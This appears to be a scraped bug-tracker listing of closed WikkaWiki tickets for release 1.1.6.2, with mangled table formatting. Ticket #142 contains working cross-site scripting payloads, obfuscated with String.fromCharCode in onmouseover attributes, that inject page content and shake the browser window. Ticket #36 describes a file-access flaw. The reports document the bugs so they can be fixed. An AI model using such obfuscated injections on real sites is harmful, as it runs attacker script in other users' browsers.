Using code submitted by IanAndolina on the bottom of page http://wikka.jsnx.com/DotMGTextSearchExpanded, the code for the textsearchexpanded action has been greatly reduced. New code: $matchText = "…".$highlightMatch."…"; $output .= "\n<p>".($i+1)." ".$this->Link($page["tag"])." — ".$page[time]."</p>"; $output .= "\n<blockquote>".$matchText."</blockquote>\n"; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
1.1.6.2 Release (6 matches)
| Ticket | Summary | Component | Status | Version | Type | Severity | Created | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Description | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #36 | Security issue with the Method() method | core | closed | 1.1.6.0 | defect | major | 11/24/2005 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Bug reported on the Wikka website by PhilippAHartmann and MunehiroYamakawa. There's a bug in the Method()-method in wikka.php. The calls to strstr() and strrpos() have a wrong order of arguments. I think, it can be a security issue, since we have access to arbitrary .php-files on the server. Even user-uploaded ones... Patch suggested at: http://wikka.jsnx.com/WikkaBugs#hn_Problem_with_handlers |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #12 | Special char encoding | formatters | closed | 1.1.6.0 | defect | major | 11/14/2005 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Special char encoding for page revisions (handler), RecentChanges, Wikiping and RSS-feeds. < and > (+ other [for xml] special chars) appearing in the note-field cause problems: wrong display on web pages, invalid XML in feeds and ping data. This applies to all special characters, not just those used for tags: & as well. htmlspecialchars() should do it. --JW
* See also the comments on MindMapRecentchanges where the same problem is reported Status Tested and installed as BETA Code changes in wikka.php (GetPingParams()), actions/recentchanges.php, handlers/page/recentchanges.xml.php, handlers/page/recentchanges.xml.mm.php, handlers/page/revisions.php and handlers/page/revisions.xml.php. (Unfortunately the WikiPing feed already has an incorrect item so the feed will stay invalid untill this item "scrolls off". Solved by now.) --JavaWoman See also Ref |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #32 | Page titles from headings with links | core | closed | 1.1.6.0 | defect | major | 11/22/2005 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Headings with embedded links should be correctly handled to derive a document title ("smart title"). Statuscoded RefsSee source of wikka.php on the wikka website. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #65 | Refactor default pages in the WIkka installer | installer | closed | 1.1.6.1 | defect | major | 12/25/2005 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
The milestone:1.1.6.1 release has an annoying inconsistency: since we changed the default write-ACL settings to + to prevent spam (see #14), the welcome text in the homepage does not provide any more accurate information on how to get started. It should at least suggest that the user must log in in order to be able to edit pages. I think a general overhaul of the content of default pages (to use in a consistent way headings and style conventions) is badly needed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #142 | Javascript not stripped from forced links | core | closed | 1.1.6.1 | defect | major | 03/17/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
On the sandbox, try the following: [["id="q" Hello]] [["onmouseover="eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,34,113,34,41,46,105,110,110,101,114,72,84,77,76,61,34,60,70,79,78,84,32,83,84,89,76,69,61,92,34,102,111,110,116,58,110,111,114,109,97,108,32,110,111,114,109,97,108,32,98,111,108,100,32,49,50,56,112,120,32,65,114,105,97,108,59,116,101,120,116,45,100,101,99,111,114,97,116,105,111,110,58,98,108,105,110,107,59,92,34,62,33,33,68,65,78,71,69,82,33,33,60,47,70,79,78,84,62,34,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,68,73,86,34,41,41,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,108,97,115,116,67,104,105,108,100,46,105,110,110,101,114,72,84,77,76,61,34,60,70,79,78,84,32,83,84,89,76,69,61,92,34,102,111,110,116,58,110,111,114,109,97,108,32,110,111,114,109,97,108,32,98,111,108,100,32,49,50,56,112,120,32,65,114,105,97,108,59,116,101,120,116,45,100,101,99,111,114,97,116,105,111,110,58,98,108,105,110,107,59,92,34,62,72,79,79,87,69,69,33,33,60,47,70,79,78,84,62,34))" Interesting]] [["onmouseover="eval(String.fromCharCode(119,105,110,100,111,119,46,115,104,97,107,101,61,110,101,119,32,102,117,110,99,116,105,111,110,40,41,123,119,105,110,100,111,119,46,109,111,118,101,66,121,40,77,97,116,104,46,114,111,117,110,100,40,77,97,116,104,46,114,97,110,100,111,109,40,41,42,53,48,45,50,53,41,44,77,97,116,104,46,114,111,117,110,100,40,77,97,116,104,46,114,97,110,100,111,109,40,41,42,53,48,45,50,53,41,41,59,119,105,110,100,111,119,46,114,101,115,105,122,101,66,121,40,77,97,116,104,46,114,111,117,110,100,40,77,97,116,104,46,114,97,110,100,111,109,40,41,42,53,48,45,50,53,41,44,77,97,116,104,46,114,111,117,110,100,40,77,97,116,104,46,114,97,110,100,111,109,40,41,42,53,48,45,50,53,41,41,59,119,105,110,100,111,119,46,115,99,114,111,108,108,66,121,40,77,97,116,104,46,114,111,117,110,100,40,77,97,116,104,46,114,97,110,100,111,109,40,41,42,53,48,45,50,53,41,44,77,97,116,104,46,114,111,117,110,100,40,77,97,116,104,46,114,97,110,100,111,109,40,41,42,53,48,45,50,53,41,41,59,115,101,116,84,105,109,101,111,117,116,40,34,119,105,110,100,111,119,46,115,104,97,107,101,34,44,77,97,116,104,46,114,111,117,110,100,40,77,97,116,104,46,114,97,110,100,111,109,40,41,42,49,48,48,41,41,59,125,59,119,105,110,100,111,119,46,115,104,97,107,101,59))" Shake]] The two below work together to do something annoying [["id="w"title="eval(String.fromCharCode(119,105,110,100,111,119,46,109,111,118,101,66,121,40,77,97,116,104,46,114,111,117,110,100,40,77,97,116,104,46,114,97,110,100,111,109,40,41,42,53,48,45,50,53,41,44,77,97,116,104,46,114,111,117,110,100,40,77,97,116,104,46,114,97,110,100,111,109,40,41,42,53,48,45,50,53,41,41,59,119,105,110,100,111,119,46,114,101,115,105,122,101,66,121,40,77,97,116,104,46,114,111,117,110,100,40,77,97,116,104,46,114,97,110,100,111,109,40,41,42,53,48,45,50,53,41,44,77,97,116,104,46,114,111,117,110,100,40,77,97,116,104,46,114,97,110,100,111,109,40,41,42,53,48,45,50,53,41,41,59,119,105,110,100,111,119,46,115,99,114,111,108,108,66,121,40,77,97,116,104,46,114,111,117,110,100,40,77,97,116,104,46,114,97,110,100,111,109,40,41,42,53,48,45,50,53,41,44,77,97,116,104,46,114,111,117,110,100,40,77,97,116,104,46,114,97,110,100,111,109,40,41,42,53,48,45,50,53,41,41,59,115,101,116,84,105,109,101,111,117,116,40,34,101,118,97,108,40,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,92,34,119,92,34,41,46,116,105,116,108,101,41,34,44,77,97,116,104,46,114,111,117,110,100,40,77,97,116,104,46,114,97,110,100,111,109,40,41,42,49,48,48,41,41,59))" Hello]] [["onmouseover="eval(String.fromCharCode(101,118,97,108,40,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,34,119,34,41,46,116,105,116,108,101,41))" Testing]] I believe htmlentities() can fix this, as sakaru [at] gmail [dot] com said on the sandbox. Dependencies |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| #206 | Redirect() doesn't support URL parameters | core | closed | 1.1.6.2 | defect | major | 06/03/2006 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
The last version of usersettings wrongly assumes that the Redirect() method accepts URL parameters, thus generating errors in fresh installs running with rewrite_mode set to 1, like escaped &'s; e.g.: http://trunk/wikka.php?wakka=UserSettings&out=true This issue needs to be fixed before the official release of 1.1.6.2 |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||